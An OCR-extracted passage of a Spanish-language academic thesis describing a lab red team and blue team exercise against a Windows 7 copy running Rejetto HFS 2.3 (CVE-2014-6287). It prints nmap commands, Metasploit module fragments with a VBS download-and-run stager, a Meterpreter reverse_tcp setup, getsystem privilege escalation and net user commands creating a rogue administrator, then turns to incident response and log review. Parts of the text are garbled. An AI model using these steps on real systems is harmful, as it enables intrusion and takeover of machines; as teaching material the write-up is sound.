una interfaz web desde la cual administrar todas las fases ya descritas,
mejoras en modulos de reportes y facilidades para el trabajo colaborativo.

e Meterpreter, como parte de las herramientas de metasploit se encuentra
meterpreter una carga util, la cual es una carga util, como lo menciona
offensive Security?®, con la capacidad de inyectar DLL y correr en
memoria ram, por lo que no escribe datos en disco, se comunicarse a
través del z6calo del stager y proporciona una APl Ruby completa del
lado del cliente. Metasploit tiene una API de cliente Ruby con todas las
funciones.

4.3.1.2 Nmap.

Nmap (“mapeador de redes”), es una herramienta para escaneo de puertos,
libre y de codigo abierto. Es considerado una herramienta flexible y poderosa,
cuenta con una interface gréafica y linea de comandos, como se describe en la
documentacion oficial, “Nmap utiliza paquetes IP "crudos" («raw», N. del T.)
en formas originales para determinar qué equipos se encuentran disponibles
en una red, qué servicios (nombre y version de la aplicacion) ofrecen, qué
sistemas operativos (y sus versiones) ejecutan, qué tipo de filtros de paquetes
o cortafuegos se estan utilizando asi como docenas de otras caracteristicas.”?’
. El resultado luego de realizar el escaneo con la herramienta dependera de
las opciones con las cuales se configure, generalmente se podra identificar
para cada uno de los activos, su direccion IP, puertos abiertos o una
descripcion de su estado y protocolos, algunos otras opciones podrian
identificar el sistema operativo, si existe en el medio algun equipo con funcién

25 Metasploit Basics | Metasploit Documentation [Sitio web], Rapid7, 2021, [Consultada 1
septiembre 2021]. Disponible en https://docs.rapid7.com/metasploit/metasploit-basics/>

26 Meterpreter, [Sitio web], Rapid7, 2021, [Consultada 22 septiembre 2021]. Disponible en
https://lwww.offensive-security.com/metasploit-unleashed/about-meterpreter/

27 Nmap.org. Guia de referencia de Nmap (Pagina de manual) [Sitio web]. 2021. Fyodor
[Consultada 12 septiembre 2021]. Disponible en: https://nmap.org/man/es/index.html#man-
description
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de filtrado de paquetes por ejemplo un FW, el estado puede ser open (abierto),
filtered (filtrado), closed (cerrado), o unfiltered (no filtrado)?2

e Abierto (open), significa que la maquina por el puerto indicado esta a
espera de establecer una conexion, por lo tanto, seran dichos puertos
sobre los cuales se centrardn posteriores opciones de escaneo para
determinar informacion adicional.

e Filtrado (Filtered), respuesta obtenida cuando la herramienta detecta un
cortafuego u otra herramienta que bloquea la actividad de escaneo y
por consiguiente Nmap no logra determinar si dicho puerto esta abierto
o cerrado para la direccion IP indicada.

e Cerrado (Close), Nmap detecto que dicho puerto no responde y por lo
tanto no se encuentra actualmente ningun servicio ejecutado que haga
uso de dicho recurso, pero vale la pena resaltar que es justamente el
puerto sobre la maquina quien indica este respondiendo, por lo tanto,
seria una buena préctica tener este aspecto en cuenta para posteriores
analisis debido a que un nuevo aplicativo podria hacer uso y por lo tanto
abrir esta conexion. Seria por lo tanto recomendable bloquear estos
puertos cerrados por medio de un FW hasta el momento de requerirlos.

¢ No filtrado (unfiltered), Indica que el puerto responde a las solicitudes
de la herramienta, sin embargo, no es posible determinar si se
encuentra en estado abierto o cerrado.

e abierto|filtrado, Este estado indica que la herramienta de escaneo no
logro determinar si el puerto esta en estado abierto o filtrado, algunos
escaneos de tipo UDP, protocolo IP, FIN, Null y Xmas clasifican a los
puertos de esta manera.

e cerradolfiltrado, Este estado indica que la herramienta de escaneo no
logro determinar si el puerto esta en estado cerrado o filtrado, este tipo
de respuesta se da en escaneos de tipo sondeo IPID pasivo.

Los argumentos u opciones que la herramienta dispone son variados, su uso
dependera del propdsito por el cual se utiliza. Se listaran las mas cominmente
utilizadas, el listado completo se encuentra en el enlace de la documentacion
oficial?®:

e -p <rango de puertos>: Sélo sondear los puertos indicados

e -sV: Sondear puertos abiertos, para obtener informacion de
servicio/version

e -O: Activar la deteccion de sistema operativo (SO)

28 |bid. p. 1.

29 Nmap.org. Guia de referencia de Nmap (Resumen de Opciones) [Sitio web]. 2020. Fyodor
[Consultada 12 septiembre 2021]. Disponible en: https://nmap.org/man/es/man-
briefoptions.html
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e -T [0-5]: Seleccionar plantilla de temporizado (los niumeros altos son
mas rapidos)

llustracion 3 Ejemplo uso herramienta NMAP

ap.org ) at 2021-99-24 22:05 -05

unknown
unknown
unknown

[5}
MAC Address: @8: 2:80:C0 (Oracle VirtualBox virtual NIC)

Fuente: Guia de referencia de Nmap /nmap.org/man/

Nmap dispone de diferentes técnicas de sondeo de puertos, desde la técnica
por defecto sondeo SYN, a escaneos sobre UDP, TCP Null, FIN, TCP ACK,
cambio en los Flags del protocolo TCP, escaneo de protocolo IP, sondeo de
rebote FTP, entre otros, determinar cual es mas idoneo dependera de cada
caso y el objetivo de escaneo, y como se menciona en su pagina de
documentacion oficial, “Los expertos conocen docenas de técnicas de sondeo
y eligen la mas apropiada (o una combinacién de éstas) para la tarea que estan
realizando. Los usuarios sin experiencia y los "script kiddies", sin embargo,
intentan resolver cada problema con el sondeo SYN por omisién.”*°

4.3.1.3 NESSUS.

Nessus es una herramienta para el escaneo de vulnerabilidades, propiedad de
tenable, dentro de las funcionalidades adicionales los escafios
convencionales, se encuentran el descubrimiento de activos, auditoria de
configuraciones, deteccion de programas malignos. Cuenta con licenciamiento
para pruebas llamado Nessus essentials con limitacibn en el namero de
objetivos a 16 equipos por escaneo y una alternativa empresarial con moédulos
adicionales de deteccion de vulnerabilidades.

30 Nmap.org. Guia de referencia de Nmap (Técnicas de sondeo de puertos) [Sitio web]. 2020.
Fyodor [Consultada 12 septiembre 2021]. 2021Disponible en: https://nmap.org/man/es/man-
port-scanning-techniques.html
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4.3.2 Datos relevantes para la instruccion.

Los siguientes datos suministrados el documento anexo 3 fueron de relevancia
durante todos los pasos del proceso de instruccion, desde los pasos iniciales
de enumeracion, pasando por la busqueda de vulnerabilidades, la seleccién
del aplicativo vulnerables, el exploit a utilizar para generar la intrusion y los
pasos de pos-explotacion.

Sistema operativo, como parte de la informacion suministrada se
identifica como objetivo un equipo Windows 7 con arquitectura de 64
bits.

Informacién de comportamiento de fuga de datos, lo que da como
indicio que sobre el equipo se gener6 de alguna manera una actividad
de intrusién que conlleva a tener privilegios y acceso a informacion del
equipo, la idea es validar cual replicar este proceso.

Aplicativos instalados, otro indicio importante es la utilizacion del
aplicativo rejetto v.2.3, es suma importancia, debido a que, desde el
proceso de enumeracion, tanto como de busqueda de vulnerabilidades
y explotacion se debera validar si dicha aplicacion esta efectivamente
corriendo sobre el equipo afectado y presente alguna debilidad a nivel
de seguridad.

Copia del servidor, el ejercicio contempla que las actividades que
genera el equipo de Red Team seran sobre un servidor que es una
copia del servidor comprometido, es de importancia debido a que, en
un escenario real de presentarse una afectacion en el proceso, ningun
servicio de la compaifiia se veria afectado, ni informacion adicional que
pueda servir para procesos de investigacion y forense sobre la maquina
afectada.

4.3.3 Herramienta para identificacion de fallos de seguridad.

La identificacion de los fallos de seguridad en el equipo objetivo se realizado
por medio de los siguientes pasos haciendo uso de las herramientas listadas
en el punto 2.1, de la siguiente manera.

Inicialmente se realiza un reconocimiento de los servicios del equipo
objetivo, por medio de la herramienta Nmap desde maquina con
direccién IP 192.168.90.4 y sobre la cual se encuentra instalada la
distribucion Kali Linux, a direccion IP 192.168.90.6. Es de relevacion
aclarar que el proceso de enumeracion en red se obvia debido a que
conocemos de ante mano la direccion IP asignada a la maquina
objetivo, sin embargo, en un escenario real seria el primero paso para
ejecutar.
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llustraciéon 4 Respuesta http

w HFS [
< c
Kali Linux

¢
& User

—/ Folder

3 Home

Se establecen la opcion -sV se determinan las versiones de los
servicios y la opcién -p en esta ocasion a todos los puertos para Nmap
con el objetivo de identificar mas informacion. Las imagenes del
proceso detallado se presentan en el punto 2.5, es de destacar que el
analisis siguiente se realiza teniendo en cuenta el servicio por el puerto
80, sin embargo, el escaneo identifico otros puertos propios del sistema
operativo abiertos.

Como resultado de observa que el puerto 80 tiene activo un servicio en
HTTP, con versidon httpfileserver http2.3, el aplicativo es reconocido
como rejentto. En la siguiente imagen se observa la pagina del servicio
de file server sobre HTTP.

servidor fileserver

x +

o © 4 192.168.90.6

Kali Training Kali Tools « Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MS

Login

No files in this folder

) search

& Select

ders, O files, O bytes

go

All Invert
Mask
0 items selected
k Actions
Archive Get list
Fuente: propia.

Haciendo uso de los scripts de Nmap para identificacion de
vulnerabilidades se realiza un escaneo al puerto 80, los parametros
configurados son los siguientes. nmap -f -sS -sV -p 80 --script vuln
192.168.90.6. Las imagenes del proceso detallado se presentan en el
punto 2.5

El resultado obtenido demuestra que existen varias vulnerabilidades
asociadas al servicio y version para el fileserver del puerto 80.

Se realiza busqueda partiendo de los resultados obtenidos en la base

de datos de exploitDB, En la siguiente imagen obtenido para la
vulnerabilidad identificada que tiene una relacion a Metasploit.
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llustracion 5 Busqgueda Exploit Database

Rejetto HTTP File Server X+

& c o © ah ploi i . v In O @

Kali Linux Kali Training Kali Tools Rejetto HTTP s Kali Forums NetHunter || Offensive Security Exploit-DB GHDB ]| MSFU

# LEXPLOIT 5 ©. 8
R T :

Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)

Q
O EDB-ID: CVE: Author: Type: Platform: Date:
2014-6287 METASPLOIT REMOTE WINDOWS
E.
EDB Verified: Exploit: + / {} Vulnerable App: B
&

Fuente: propia.

e Identificacibn de vulnerabilidades adicionales, Con el objetivo de
identificar otras vulnerabilidades sobre el sistema y por medio de la
herramienta Nessus se configura y ejecuta un escaneo. En la siguiente
imagen se presenta el resultado.

llustracion 6 Resultado analisis Nessus
' us Seans  Setiings
Seminario_3 Config Audit Trai Launch Report Export
«Back fo My Scans
& My Scans Sk e My Sean
W Alscans
- Hosts |1 Vulnerabiities | 27 VPR Top Threats ) History 1
@i Tash
Assessed Threat Level: Critical
0 Fociss The following vuinerabilties are ranked by Tenabie's patented Vuinerabilty Priority Rating (VPR) Scan Details
system. The findings fsted below detai the fop ten vulnerabilties, providing a prioriized view fo
@ PuginAues -
Policy: Advanced Dynamic Scan
Status: Compieted
Severity Base: Gyss 3.0
& Community Scanner: Local Scanner
® Eom PR Severity Name Reasans VPRScore +  Hosis -~ Totiay 21925 AN
B Plugin Release Notes MS17.010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALGHAMPI... Security Research a8 1 End: Toaay at 9:23 AM
Elapsed: 4 minutes
MS11-030: Vulnerability in DNS Resolution Couid Alow Remote Code Execution (2509553) {remote check) No recorded events 73 1
Tenable News
Multple MS16-047: Securty Update for SAM and LSAD Remote Pratocols (3148527) (Badiock) (uncredentialed check)  No recarded events 60 1
Vulnerabilities in
Tracki / Trackimo GPS BEEl  #oache Struts 2 s:a/ sl Tag href Element XSS No recorded events 14 1

Read Mare

Fuente: propia.

El resultado destaca la deteccién de vulnerabilidades adicionales a nivel
de sistema operativo, entre ellas destaca por ser critica la asociada a
SMB server 4013389 (Eternalblue).

e La herramienta Metasploit es utilizada para realizar el proceso de
explotacion de la vulnerabilidad del aplicativo rejentto, por medio del
modulo exploit/Windows/http/rejentto/hfs_exec, Las imagenes del
proceso detallado se presentan en el punto 2.5.

En la siguiente imagen se puede visualizar los detalles del médulo de
la herramienta Metasploit.
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llustracién 7 Modulo Rejetto Metasploit

msfé exploit( ) > info

Name: Rejetto HttpFile ver Remote Command Execution
Module ploit/windows/http/1 _exec
Platform: Windows

i No

Disclosed

Provided by:
le Linguaglossa <daniele aglossamgmail.com>
Muhamad Fadzil Ramli <mindl13 il.com>

Fuente: pri.

e Debido a que la vulnerabilidad permite la ejecucién de cddigo remoto,
la carga util es Meterpreter y de esta manera se consigue tener una
Shell del sistema de manera remota, el escalamiento de los privilegios
y la creacién de un usuario local con permisos de administracion, como
muestra PoC, frente a los directivos. Las imagenes del proceso
detallado se presentan en el punto 2.5.

4.3.4 explicacion del ataque.

La vulnerabilidad identificada sobre el aplicativo Rejentto version 2.3, permite
ejecutar de manera remota cddigo, debido a un incorrecto manejo de
pardmetro en las expresiones regulares, puntualmente sobre la funcidn
findMacroMarker en parserLib.pas. Teniendo en cuenta lo anterior, el modulo
utiizado de metasploit como se observa en la siguiente imagen genera
solicitudes con algunas expresiones regulares que al aplicativo no pude
gestionar de manera correcta, permitiendo por lo tanto realizar ejecuciéon de
codigo, que en este caso inicia una conexion desde el servidor remoto al
atacante.

llustracion 8 Detalles modulo metasploit #1

def primer
file name = rand_text_alpha(rand(10)+5
file ext = s
file full name = file name + file ext
vbs_path = "STEMP=\\#{file full_ name}"
vbs_code = "Set x=CreateObject(\"Micr
vbs_code << "On Error Resume Next)
vbs_code << "x.Open \"GET\ SRVPORT ' ] }#{get resourceh\",
vbs code << *
vbs_code << "wsh.exi
vbs _code << "End If\
vbs_code << "x.Send\ 3
vbs_code << "Execute x.responseText"

Fuente: propia.
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llustracién 9 Detalles modulo metasploit #2

vbs_path}|#{vbs_code}"
script.exe //B //NOLOGO #{vbs_path}"

print_status("sending a malicious request to #{target_uri.path}"
payloads .each do |payload|
send_request_raw
method "GEL:
uri'

#{URI: :encode(payload)}.}"
end

register_file_for_cleanup(vbs_path
end

Fuente: propia.

La vulnerabilidad se encuentra registrada bajo el CVE-2014-6287, el vector de
ataque es por medio de la red, no es necesaria una previa autenticacion al
aplicativo y el impacto de su explotacion como se observa por medio de las
pruebas permite obtener el control del sistema por completo.

llustracion 10 Carga util seleccionada meterpreter

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.90.4 yes The listen address (an interface may be specified)
LPORT 4444 = The listen port

Fuente: propia.

En la siguiente imagen se pueden evidenciar tanto el equipo atacante como el
objetivo, los puertos involucrados para generar las peticiones. Las solicitudes
iniciales se realizan desde el equipo Kali con direccion IP 192.168.90.4, con
los pardmetros configurados en el médulo para el exploit de metasploit,
posteriormente debido a que la vulnerabilidad permite ejecucién de cadigo, se
inyecta la carga util de meterpreter y se obtiene la Shell reversa, ya con acceso
al equipo objetivo se ejecutan los procesos de post-explotacion y creacion del
usuario administrador.

llustracion 11 Esquema intrusién KALI-Maquina objetivo

Aplicativo rejetto HTTP
File server

,i_] 1 Port 80= =
Solicitudes http "
< * |
-
Port 4444 shell reversa Port 80

P @ P @
Kali linux - Windows 7
192.168.90.4 192.168.90.6

Fuente: propia.

31



4.3.5 Pasos realizados explotacion

4.3.5.1 Enumeracion.

El proceso de enumeracion se realiza por medio de Nmap con los siguientes
paradmetros nmap -sS -sV 192.168.90.6. En la siguiente imagen se observa el
resultado de la ejecucion.

IIustraC|on 12 Resultado escaneo Nmap
Nrna_p ) p.org ) at
Host is up
Mot shown:
VERSION

msrpc
bios-ssn ft Windows ne
microsoft-ds Microsoft Windows 7

osoft HTTPAPI ! )

osoft HTTPAPI ht DP/UPNP)

osoft HTTPAPI (SSDP/UPNP)
crosoft Windows
msrpc s Windows
msrpc ft Windows
msrpc Microsoft ndows
msrpc osoft Windows
msrpc soft Windows

ase report any i

1 IP address (1 host up) scanned in

Fuente: propia.

4.3.5.2 Escaneo vulnerabilidades.

Se realizaron dos procesos para el escaneo de recomendaciones, inicialmente
se utiliza la herramienta de nmap con los siguientes parametros nmap -f -sS -
sV -p 80 --script vuln 192.168.90.6, el resultado se evidencia en la siguiente
imagen.

IIustraC|on 13 Resultado script vuln Nmap

W.Securitytocus.com

pfileserver

CDE13 7
52560BBFF 7 tt Lner /exploit| PLOITPACI
PLOIT*
PLOIT*
PLOIT*
PLOIT*
EXPLOIT*
*EXPLOIT*
* oIT*
*EXPLOIT*

*EXPLOIT*

Fuente: propla
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Como parte de las recomendaciones se encuentra en exploit con relaciona al
modulo de metasploit exploit/Windows/http/rejentto_hps_exec, este sera el
que se utiliza para el paso de explotacion.

llustracion 14 Modulo it identificado Nmap

ACKETSTURM- 178243 F.d 3 orm/ PA
EELHFXPLOTIT/WINDOWS /HTTP/REJETTO_H /W WS /HTTP/REJETTO_HFS_EXEC *EXPLOIT*

Fuente: propia.

Una segunda escaneo de vulnerabilidades se realiza por medio de la
herramienta Nessus, en la siguiente imagen se observa la configuracion del
escaneo programado para la direccion IP de la maquina objetivo.

llustracion 15 Configuracion escaneo Nessus

Seminario / Configuration

< Back fo Scan Repart

Settings Gredentials Plugins

BASIC

DISCOVERY
ASSESSMENT Folder My Scans
REPORT

ADVANGED

Upload Targets Add File

Fuente: propia.

El resultado del escaneo se presente en la siguiente imagen, en este caso la
herramienta identifico vulnerabilidades a nivel operativo, entre las que destaca
por ser de cardcter critico, SMB servidor (Eternalblue), a destacar que dentro
del informe también se encuentra referencia a un modulo de metasploit
Windows exploit/windows/smb/ms17_010_eternalblue.

jities |27 VPRTopThreats (7 Hstory 1

Misi ity Update for SAM and LSAD Remote Protocols (3148527) (Badiock) (uncredentizledcheck)  No recorded evens 60

WS Avache Sinis 25:a/ sl Tag el Eement XSS No recarded events

Fuente: propia.
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4.3.5.3 Explotacion vulnerabilidad

En la siguiente imagen se visualiza la configuracion del
exploit/Windows/http/rejentto/hfs_exec,

llustracion 17 Configuracion opciones modulo Metasploit

nsf6 exploit(

mail.com>

al machine or 0.0.0.0 to listen on all add

Fuente: propia.
Se configura la direccion IP del equipo objetivo y ejecuta el médulo.

llustracion 18 Resultado ejecuciéon modulo exploit

msf6 exploit( ) > set RHOST 192.
RHOST = 192.168.90.6
msf6 exploit( ) > run

Started reverse TCP handler on 192.168.90.4:4444
Using URL: htt 0.0.0.0:8080/neSbKtx1c3GRmQ
Local IP: http .168.90.4:8080/neSbKtx1c3GRmQ
Server started.
Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_; .rbh: : warning: URI.escape is obsolete
/usr/share/metasploit-framew: modules/exploits/windows/http/rejetto_hfs_exec.rb: : warning: URI.escape is obsolete
Payload request received: /neSbKtxlc3GRmQ
Sending stage (175174 bytes) to 192.168.90.6
Meterpreter session 2 opened (192.168.90.4:4444 — 192.168.90.6:49339) at 2021-09-22 21:03:43 -0500
[!] Tried to delete ¥TEMP%\cnpgVW.vbs, unknown result
Server stopped.

meterprete [ |

Fuente: propia.

modulo

En imagen siguiente y como parte de las pruebas y debido a que se tiene
acceso al equipo objetivo se pueden visualizar las peticiones realizadas por
metasploit, estas hacen referencia tanto al exploit como a la carga util

meterpreter.
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IIustraC|on 19 Visualizacién pet|C|ones HTTP

Virtual ile System

F 08:32:35 p.m. 192 168.90 4-43914 Requested GET /2cb=test -
08:32:35 p.m. 192.168.90.4:43934 Requested GET /?jsonp=test
Drag your fils here) 08:32:35 pm. 192 168 90 443954 Requested GET /%jsonpcallback=test

08:32:35 p.m_ 192 168 90 443966 Requested GET /Mpl=list&folders-fiter=\&recursive
08:32:35 p.m. 192 168 90 443976 Requested GET /Zjcb=test

08:32:35 p.m. 192 168 90 443990 Requested GET /?mode=jauery

08:32:36 p.m. 192 168 90 444002 Requested GET /2call=test

08:32:37 p.m. 192 168 90 444128 Requested GET /

08:32:41 p.m. 192 168 90 444458 Requested GET /Mpl=list&folders-fiter=\&recursive

08:32:41 p.m. 192 168 90 444474 Requested GET /?mode=jquer

06:32:42 pm. 192 168 90 444510 Requested GET /2id=//etc/passwd08-32:42 p.m. 192 168 30 444526 Requested GET /?id=/etc/passwd =
003242 pm. 1921669044544 Rouestod GET M-I /.1. 11111 [8G/passwa0s 3242 pm 192166 90 44550 Requested GET /=L 1. .. L. . Jeclpasoua
003242 pm. 19216090 444566 Requested GET -1/ L1 .11 /oot 033242 pn. 192160 90 4 44562 Reuested GET /... L.{L.JL. 1Tt

08:32:43 p.m. 192 168 90 444596 Requested GET /2id= 1 | \ \ \\\ \ \ \boot ini03:32:43 p m 192 168 90 444604 Requested GET /7id=_\ | L L\ |\ \\.\boy
08:32:43 pm_ 192168 90444616 Requested GET /%id=_/_/_/_ /|| /.J.|_letclpasswd08-32:43 p.m 192 168 90444530 Requested GET /2id=. /111111 - Tetcipassw
V_V.V.V.V.V.V.V. VetcVpasswd08:3243 p m 192 168 90 4-44660 Requested GET /2id=_V.V.V.V.V.V.V.V.V
08:32:44 pm. 192 168 90 444676 Requested GET /%id= 1. | \ \ \ |\ \ \ \etc\passwd05-32:44 p.m. 192 168 90 444692 Requested GET /2id=\ | A \ L\ L\ \ \etc\passwd
DAL Wooot il 32.44 . 192,16 50 444724 Requested GET id= 1\ LI LA\ oot

/A A JAA Jboot.ini08:32:44 p.m. 192.168.90.4 44762 Requested GET / /AAIAAIAA fboot i

08:32:45 pm. 192 168 90 444776 Requested GET A A /A AJAA boot ini08-32:45 pm. 192 168 90 444792 Requested GET /2id=A A /A A /A AIAA oot ini

08:32:45 p.m. 192 168 90 444508 Requested GET /.1 Ibootini%

003245 pm. 192 160.90.4:4224 Requested GET /74=\. /.. oot ni%

x.html?_/_//_]_[boot ini08:32:45 p.m. 192.168 90 4:44350 Requested GET /

r fex htmI?_/_/_/_//boot ini

083246 0.m 192 163.90 4 44870 Reauested GET /md index html? \ \ \\\boot ini032:46 o.m_192 168 90 444380 Reauested GET /2id=index html? \ \ \ \ \boot ini 9
D

Fuente: propia.

4.3.5.4 Postexplotacion

Como parte de las pruebas del acceso se presenta la siguiente imagen con la
informacion del computador, su sistema operativo, arquitectura, lenguaje,
dominio.

llustracién 20 Evidencia informacién de sistema obijetivo.

Fuente propia.

Posterior al establecimiento de la conexién es de importancia validar con que
usuarios se encuentra corriendo la Shell, esto debido a que determinara los
niveles de acceso que se tienen.

llustracién 21 Comando usuario del sistema.

Server username:

Fuente: propia.

4.3.5.5 Elevacion de privilegios.

como uno de los beneficios de meterpreter se encuentra la validacion de
técnicas de elevacion de privilegios, como se visualiza en la siguiente imagen,
por medio del comando getsystem se identifica que existe una técnica
disponible en el sistema para realizar dicho escalamiento.
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Haciendo uso del nuevamente del comando getuid se visualiza que ahora la
conexion tiene privilegios de administrador con username: NT
Authority\system.

llustracion 22 Evidencia elevacion de privilegios.

Fuente: propia.

4.3.5.6 Creacion de usuarios local

Siguiendo el procedimiento de imagen continuacion se crea un usuario local,
el primer comando permite hacer un llamado desde la Shell generada por
meterpreter a un simbolo de sistema nativo de Windows CMD.

El usuario es creado por medio del comando net user IvanBetancourt /add,
paso seguido por medio del comando net localgroup Administradores
IvanBetancourt /add, se adiciona el usuario creado a grupo de administracion
y finalmente él se realiza la comprobacion de los usuarios administradores por
medio del comando net localgroup administradores, validando de esta manera
creacion y adicion del usuario a dicho grupo.

llustraciéon 23 Evidencia creacion usuario local administrador.

meterpreter > execute -H -f cmd.exe -i
Process 3736 created.

Channel 4 created.
Microsoft Windows [Versi®n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos

C:\Users\usuario\Downloads>net user IvanBetancourt /add
net user IvanBetancourt /add
Se ha completado el comando correctamente.

C:\Users\usuario\Downloads>net localgroup Administradores IvanBetancourt /add
net localgroup Administradores IvanBetancourt /add
Se ha completado el comando correctamente.

C:\Users\usuario\Downloads>net localgroup Administradores

net localgroup Administradores

Nombre de alias Administradores

Comentario Los administradores tienen acceso completo y sin restricciones al equipo o dominio

Miembros
Administrador
IvanBetancourt

usuario
Se ha completado el comando correctamente.

Fuente: propia.

Finalmente, y debido a que se tiene acceso local al equipo objetivo se listan
las cuentas de usuario y ratifica la creacion del usuario y su rol de
administrador.
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llustracion 24 Evidencia cuentas de usuario maquina objetivo.
e s

)

@Qﬂ ‘_’r?_, 4 Cuentas de usuario » Administrar cuentas - | +3 | ‘ Buscar en el Panel de control

Elegir la cuenta gue desee cambiar

usuario || IvanBetancourt
Administrador Administrader
el

Invitado

La cuenta de invitado estd desactivada

b3
-3

Fuente: propia.
4.4 EJERCICIO DE BLUE TEAM
4.4.1 Escenario ataque en tiempo real.

Inicialmente y frente a un ataque informatico, seria definir qué equipo o
equipos, servicios, aplicaciones o redes se han visto involucrados, aunque en
un principio no se logren identificar a detalle cuales estan involucrados, esto si
permitird identificar las consecuencias iniciales del incidente, validar si la
afectacion involucra solamente a recursos internos de la compafiia o si se
extiende a tercer. En la siguiente imagen se puede observar un ejemplo dado
por Gémez3!, dicha matriz permite de manera diagnosticar el incidente.

llustracion 25 Matriz diagnostico incidente

Sintoma Cadigo | Denegacion de | Acceso no
malicioso | Servicio (DoS) | autorizado
Escaneo de puertos Bajo Alto Medio
Caida de un servidor Alto Alto Medio
Modificacion de ficheros de un equipo Alto Bajo Alto
Trifico inusual en la red Medio Alio Medio
Ralentizacion de los equipos o de la red Medio Alto Bajo
Envio de mensajes de correo sospechosos Alto Bajo Medio

Fuente: propia

Ya con un contexto del incidente tomar medidas de contencion, recuperacion
y erradicacion. En principio, la idea es que previamente las estrategias de
contencién estuvieran definidas, sin embargo, no siempre sucede por los tanto
es necesario determinar cudl es la accidbn mas idonea, entre las cuales puede

81 Gomez Vieites, La Lucha Contra El Ciberterrorismo y Los Atauques Informaticos,
[Consultada 01 octubre 2021]. 2019 disponible en https://www.edisa.com/wp-
content/uploads/2019/08/la_lucha_contra_el_ciberterrorismo_y_los_ataques_informaticos.pd
f
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estar aislar los equipos afectados o apagarlos directamente, desactivacion de
alguno de los servicios, entre otros. Es importante resaltar que lo ideal es
retrasar el mayor tiempo posible una accion como el apagado de los equipos
debido a que informacion volatil que puede ser de relevancia en procesos de
analisis se perderian. La toma de decisiones debe estar siempre en funcion de
un equipo interno que termine cual seria el impacto de las medidas tomadas.

Los siguientes pasos en el proceso de respuesta frente a un incidente de
seguridad es la erradicacion y recuperacion. En la erradicacion de ellas se
busca eliminar los vectores que causaron el ataca, entre ellos la
implementacion de configuraciones, la actualizacion de una plataforma, etc.
Finalmente, en la recuperacion se restaura el servicio a su labor normal, con
las medidas de proteccidn identificadas y se realizan las pruebas que tengan
lugar al sistema para comprobar su correcto funcionamiento.

4.4.2 Pruebas realizas en el caso de estudio.

En los siguientes puntos se describen las validaciones realizas desde el punto
de vista del equipo de Blue Team para el incidente de seguridad, el objetivo es
poder identificar comportamientos sospechosos que puedan ayudar a
determinar los puntos de fallo que fueron utilizados por el Red Team.

e Revision de procesos y conexiones actuales del sistema, como se
puede observar en la siguiente imagen y haciendo uso del comando
netstat -ona se listan los detalles de las conexiones actualmente
establecidos en el sistema, inicialmente se observa que el proceso 1D
2876, es quien se encuentra utilizando el puerto 80 y mudltiples
conexiones desde direccion IP 192.168.90.4, tanto para el puerto 80,
como para diferentes puertos, sin embargo, estas conexiones estan
relacionadas con el proceso ID 4.
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llustracion 26 Conexiones equipo Netstat

isUserssusuario?netstat —ano

onexiones activas

Direccién local Direccidn remota Estado

- =808 6.8 LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING

®
=

LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED
ESTABLISHED

sEEsDEEREDE

ESTABLISHED

LISTENING

CLOSE_WAIT

CLOSE_MAIT

CLOSE_WAIT

CLOSE_WAIT

CLOSE_WAIT

CLOSE_WAIT

CLOSE_WAIT

CLOSE_WAIT

CLOSE_MAIT
- - H - - H CLOSE_WAIT
- -98.6:2869 -4:3 CLOSE_MAIT
TCP 192.168.90.6:2869 CLOSE_WAIT

Fuente: propia

L O U O O }
[ERLRENE LT N Y

e Con el objetivo de identificar el nombre del proceso que se encuentra
sobre el puerto 80, se ejecuta el siguiente comando utilizando el ID
identificado del proceso tasklist | findstr 2876, dando como resultado el
hfs.exe.

llustraciéon 27 Lista de proceso equipo

C:sUserssusuario>tasklist | findstr 2876

hf s .exe 2876 Console 1 19.816 KB

Fuente: propia

e Revision del visor de eventos, inicialmente se procede a validar la
informacion que esta dentro de los registros de eventos de seguridad
del mismo sistema, como se observa en la siguiente imagen se observa
un evento ID 4738, con un cambio en una cuenta de usuario que
involucra al usuario IvanBetancourt. Esta informacion al ser contrastada
con los administradores del sistema evidencia la creacion de un usuario
no autorizado y evidenciando que existié un compromiso de la maquina
y posterior a ello un proceso de elevacion de privilegios que le permitio
al atacante crear un usuario local con permisos de administrador.
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llustracion 28 visor de eventos

Palabras clave Fechay hora Origen 1d. del e... Categoria de Ia tarea
@ Auditoria correct 22/09/2021 09:33:56 p.m. Auditoriz de seguridad 4738 Administracién de cuentas de usuario
A, Auditoria correcta 22/09/2021 09:29:21 p.m. Auditoria de seguridad... 4738 Administracion de cuentas de usuario
@,_Auditoria correcta 22/09/2021 09:37:42 p.rm. Auditoriz de sequridad 4738 Administracién de cuentas de usuario
A, Auditoria correcta 05/10/2021 10:04:30 2.m. Auditoria de seguridad... 4802 Cambio en Iz directiva de auditoria
A, Auditoria correcta 28/08/2021 09:51:53 p.m. Auditoria de seguridad... 4902 Cambio en la directiva de auditoria
Evento 4738, Auditoria de seguridad de Microsoft Windows, )
Detalles
°) Vista descriptiva @ Vista XML

<Data Name="Dummy">- </Data>

<Data Name='TargetUserName'>IvanBetancourt</Data:

<Data Name='"TargetDomainName">PC202006 </Data>

«<Data Name="TargetSid">8-1-5-21-1771133258-498679759-53607625-1005</Data>
«<Data Name="SubjectUserSid">5-1-5-21-1771133258-498679759-53607625-1001 </Data>
<Data Name="SubjectUserName">usuario</Data:

<Data Name="SubjectDomainName">PC202006</Data>

<Data Name="SubjectLogonId">0xde2d</Data>

<Data Name="PrivilegeList"></Dataz

<Data Name=" " t</Data>

=Data Name="DisplayName"=% %1793 </Data>

«<Data Name="UserPrincipalName">- </Data>

<Data Name="HomeDirectory">%%%1793</Data>

<Data Name="HomePath">%%1793 </Data> =4

Fuente: propia

,

e Reuvision del aplicativo, en la siguiente imagen se pueden visualizar los
logs del aplicativo en los cuales se evidencian solicitudes con diferentes
parametros de enumeracion de directorios desde la direccién IP
192.168.90.4, acciones sospechosas que un usuario tradicional no
realiza en el uso normal de este tipo de aplicaciones.

llustracion 29 Logs aplicativo identificacion IP

Virtual File System Log
